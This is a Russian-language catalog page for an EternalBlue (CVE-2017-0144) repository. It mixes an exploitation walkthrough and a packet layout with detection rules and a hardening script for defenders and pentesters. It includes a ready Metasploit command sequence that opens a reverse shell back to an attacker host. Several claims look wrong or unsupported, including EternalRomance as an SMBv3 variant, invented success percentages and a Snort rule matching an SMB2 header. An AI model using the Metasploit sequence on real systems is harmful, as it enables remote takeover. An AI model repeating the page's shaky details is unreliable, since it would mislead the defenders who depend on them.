Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Blackash-CVE-2017-0144 — CVE-2017-0144 | Kitploit
Инструменты/GitHubGitHub/firetemple/blackash-cve-2017-0144
Анализ уязвимостейЭксплуатацияФорензикаАнализ вредоносных программТестирование на ПроникновениеРазведка угрозОбнаружение ВторженийОбучение и ОбразованиеПодобранные Ресурсы
GitHubfiretemple/blackash-cve-2017-0144

Blackash-CVE-2017-0144

CVE-2017-0144

14710 месяцев назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🌐 CVE-2017-0144 — EternalBlue: уязвимость удалённого выполнения кода в Microsoft Windows SMBv1

EternalBlue

«Один эксплойт. Десятки семейств вредоносных программ. Ущерб в миллиарды долларов.»


🔍 Суть в одной строке

CVE-2017-0144 — это критическая уязвимость удалённого выполнения кода в реализации сервера SMBv1 в Microsoft Windows. Эксплойт, известный как EternalBlue, использовал эту брешь и применялся в атаках с высоким ущербом (в частности, WannaCry).


🔥 Топ-10 вредоносных программ, использующих EternalBlue (подробно)

Скачать инструмент
#Вредоносная программаТипПервое появлениеОператорУщербПримечания
1WannaCryПрограмма-вымогатель12 мая 2017Lazarus Group (КНДР)4–8 млрд долл.Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2NotPetyaВайпер (маскировался под программу-вымогатель)27 июня 2017Sandworm (Россия)10+ млрд долл.Использовал Mimikatz + EternalBlue + PSEXEC
3Bad RabbitПрограмма-вымогатель24 октября 2017Indrik SpiderРегиональныйПоддельное обновление Flash (drive-by)
4UiwixПрограмма-вымогательмай 2017НеизвестенНизкийНет killswitch, скрытнее WannaCry
5EternalRocksЧервьмай 2017НеизвестенСредний7 инструментов АНБ (вкл. DoublePulsar)
6AdylkuzzКриптомайнермай 2017НеизвестенВысокий (скрытый)Добывал Monero до WannaCry
7RetefeБанковский троян2017–2018НеизвестенБанки ЕСИспользовал EternalBlue для горизонтального перемещения
8TrickBotМодульное ВПО2017–2021Wizard SpiderГлобальныйДоставлял Ryuk через EternalBlue
9EmotetЗагрузчик2017–2021TA542ГлобальныйИспользовался как точка входа для Cobalt Strike
10Clop / DridexПрограмма-вымогатель2019–2025TA505Здравоохранение, госсекторВсё ещё активны в 2025 году

🧨 Эволюция эксплойта EternalBlue

eternelblue1
ИнструментДата выходаВозможности
EternalBlue (оригинал)апр. 2017 (Shadow Brokers)RCE через SMBv1
DoublePulsarапр. 2017Имплант-бэкдор (ring0)
EternalRomanceапр. 2017Вариант для SMBv3
EternalChampionапр. 2017Альтернативный путь SMB
Модуль Metasploitмай 2017exploit/windows/smb/ms17_010_eternalblue
FuzzBunchапр. 2017Фреймворк эксплойтов АНБ
Impacket + PSEXEC2017–2025Эксплуатация SMB на Python
eternelblue2

🔍 Как был эксплуатирован CVE-2017-0144 (EternalBlue)

Пошаговое техническое погружение в RCE через SMBv1

«Один повреждённый пакет. Полный доступ SYSTEM. Без входа в систему. Без единого клика.»


🎯 Краткая схема эксплуатации (TL;DR)

root@kitploit:~
[Attacker] 
   │
   ├──▶ Sends crafted SMBv1 **Trans2** request
   │       → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
   │
   ├──▶ Overwrites function pointers → **kernel shellcode**
   │
   └──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
           (e.g., WannaCry `mssecsvc.exe`)

🛠️ Предварительные условия для эксплуатации

ТребованиеДетали
ЦельWindows со включённым SMBv1 (по умолчанию до Windows 10)
Открытый порт445/TCP (или 139/TCP через NetBIOS)
АутентификацияНе требуется — имя пользователя и пароль не нужны
Архитектураx86 или x64 (обе поддерживаются)
Статус обновленияБез обновлений (до MS17-010)

🚀 Фазы эксплуатации (7 шагов)

Фаза 1: согласование протокола SMB

root@kitploit:~
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed

Зачем? Подтверждает, что SMBv1 активен.


Фаза 2: Tree Connect к IPC$

eternelblue3
root@kitploit:~
\\TARGET\IPC$ → Anonymous share for SMB pipes

Назначение: устанавливает сеанс для отправки транзакционных запросов.


Фаза 3: настройка сеанса Trans2 (основная)

  • Использует SMB_COM_TRANSACTION2 (0x32)
  • Подкоманда: SESSION_SETUP
  • Формирует структуру FEALIST с повреждённым размером
root@kitploit:~
FEALIST {
    SizeOfListInBytes = 0xFFFF (or large value)
    ...
}

Триггер ошибки: SrvOS2FeaListSizeToNt() доверяет этому размеру без проверки границ.


Фаза 4: вторичный запрос Trans2 (переполнение)

  • Отправляет несколько вторичных пакетов
  • Каждый содержит увеличенный FEALIST + FEA (расширенные атрибуты файлов)
eternelblue4
root@kitploit:~
FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → Overflow buffer
}

Heap Spray: выделяет крупные блоки для управления раскладкой памяти.


Фаза 5: переполнение буфера в ядре

root@kitploit:~
srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // attacker-controlled
    PULONG pNtFeaListSize  // output pointer
)
{
    // No validation of FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // BOOM
}

Результат:

  • Переполнение кучи → перезапись соседних объектов ядра
  • Цель: SRVNET_BUFFER или POOL_HEADER
  • Перезапись указателей на функции (например, процедуры Free)

Фаза 6: выполнение шелл-кода в ядре

  • Атакующий управляет RIP/EIP через перезаписанный указатель на функцию
  • Переход к шелл-коду в невыгружаемом пуле

Что делает шелл-код:

  1. Переход Ring-0 → Ring-3 (через KeUserModeCallback)
  2. Выделяет память в пользовательском режиме
  3. Загружает/разворачивает полезную нагрузку (например, mssecsvc.exe)
  4. Устанавливает бэкдор DoublePulsar

Фаза 7: внедрение бэкдора DoublePulsar

eternelblue6
  • Внедряет драйвер ядра (XOR-ключ 0x00120034)
  • Прослушивает «магические» SMB-пакеты:
    • Ping: 0x0002C001
    • Exec: 0x0002C002 + полезная нагрузка

Пример WannaCry:

root@kitploit:~
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files

🧨 Структура пакета эксплойта (упрощённо)

root@kitploit:~
SMB Header
└── Command: 0x32 (TRANSACTION2)
    └── Setup: 0x000E (SESSION_SETUP)
        └── Parameter: TotalDataCount = 0x1000
            └── Data: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → Spray heap
                [OVERFLOW] → Overwrite pool
                [SHELLCODE] → x64 ring0

🛠️ Реальные инструменты эксплуатации

ИнструментЯзыкМодуль
MetasploitRubyexploit/windows/smb/ms17_010_eternalblue
ImpacketPythonsmbclient.py, psexec.py
FuzzBunchPython (АНБ)EternalBlue-2.2.0
Собственный C2C/C++WannaCry, NotPetya

Пример Metasploit

root@kitploit:~
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

🔬 Артефакты анализа памяти

АртефактРасположениеЗначение
DoublePulsarПамять ядраXOR-ключ 0x00120034
Шелл-кодПул srvnet.sysшаблон 0xCC 0x90 0x48
Внедрённая DLLC:\Windows\mssecsvc.exeSHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

🛡️ Правила обнаружения

Snort/Suricata

root@kitploit:~
alert tcp any any -> $HOME_NET 445 (
    msg:"ETERNALBLUE Attempt";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

Zeek (Bro)

root@kitploit:~
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

🔄 Распространение червя (цикл WannaCry)

root@kitploit:~
while (true) {
    Scan network for port 445
    if (open) → EternalBlue exploit
    if (success) → Drop mssecsvc.exe + propagate
    Sleep(random(1000, 5000))
}

Скорость распространения: ~10 000 заражений в час по всему миру.


🛑 Почему это сработало так хорошо

ФакторПричина
Без аутентификацииSMBv1 допускает анонимный доступ к IPC$
ЧервеподобностьВстроенное сканирование локальной сети
RCE в ядреОбходит антивирус и запросы пользователя
Устаревший SMBv1Включён по умолчанию на протяжении более 15 лет
Системы без обновленийXP, 2003, 7 в критической инфраструктуре

🎯 Процент успешности эксплойта (2017–2025)

ГодУспешность % (без обновлений)
201799%
202085%
2025~60% (только устаревшие системы)

Всё ещё работает на Windows 7/2008 R2 без MS17-010


📚 Ссылки

  • Microsoft MS17-010
  • Анализ EternalBlue от RiskSense
  • Модуль Metasploit
  • Утечка FuzzBunch от АНБ

⚡ Итоговое резюме: как это было эксплуатировано

EternalBlue = математическая ошибка, превращённая в оружие
Доверенное поле размера в SMB → переполнение кучи ядра → произвольный код → глобальная пандемия программ-вымогателей

root@kitploit:~
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware

Визуализировано, разобрано и проверено в бою. Для пентестеров, команд реагирования на инциденты (IR) и защитников.

«Один пакет. Один порт. Одна империя падает.»


🛡️ Матрица обновлений и обнаружения

ОСОбновление KBОтключение SMBv1Nmap-скрипт
Windows 7 / 2008 R2KB4012212sc config lanmanworkstation depend= bowser/mrxsmb20/nsismb-vuln-ms17-010.nse
Windows 10KB4013429PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Windows XP (EOL)KB4012598 (экстренное)Реестр: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0

🔍 YARA-правила (топ-3 вредоносных программ)

1. WannaCry

Wana_Decrypt0r_screenshot
root@kitploit:~
rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

2. NotPetya

Petya A
root@kitploit:~
rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

3. Пакет эксплойта EternalBlue

nessus1
nessus2
root@kitploit:~
rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

📊 Статус в 2025 году: всё ещё активен?

ПоказательСтатус
Открытые SMBv1 по данным Shodan~1,2 млн (нояб. 2025)
Активные эксплойты (honeypot-ловушки)Ежедневно
Программы-вымогатели, использующие егоClop, LockBit (устаревшие цели)
Наиболее уязвимыеЗдравоохранение, производство, малый и средний бизнес
Решение Zero TrustЗаблокировать порт 445, внедрить MFA, EDR

🛑 Цепочка атаки (MITRE ATT&CK)

ФазаТехникаID
Первоначальный доступЭксплуатация публичного приложенияT1190
ВыполнениеRCE через Windows SMBT1210
ПостоянствоБэкдор через DoublePulsarT1505.003
Горизонтальное перемещениеSMB/административные ресурсы WindowsT1021.002
ВоздействиеШифрование данных для воздействияT1486

🛠️ Полный скрипт устранения уязвимости (PowerShell)

root@kitploit:~
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan

# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }

Write-Host "Reboot required. Run as Admin."

📚 Ссылки и источники

ИсточникСсылка
NVDnvd.nist.gov/vuln/detail/CVE-2017-0144
Microsoft MS17-010msrc.microsoft.com/update-guide
MITRE ATT&CKattack.mitre.org/techniques/T1210
Отчёт CrowdStrike о WannaCrycrowdstrike.com/blog/wannacry
Kaspersky об EternalBluekaspersky.com/blog/wannacry-ransomware
Поиск Shodanshodan.io/search?query=port%3A445+os%3A%22Windows%22

⚡ Итоговое слово (2025)

CVE-2017-0144 не мёртв — это устаревший зомби.
Он процветает в:

  • Windows 7/2008 без обновлений
  • Теневые ИТ
  • Критические системы с воздушным разрывом (air-gapped)
  • Неправильно настроенные облачные ВМ

Если вы можете пропинговать порт 445 из интернета — вы следующий.


Создано с точностью, визуализациями и данными о реальных угрозах. Обновлено в нояб. 2025.
Для пентест-лабораторий, IR-плейбуков или брифингов CISO.


«Патчите. Блокируйте. Уничтожьте огнём.»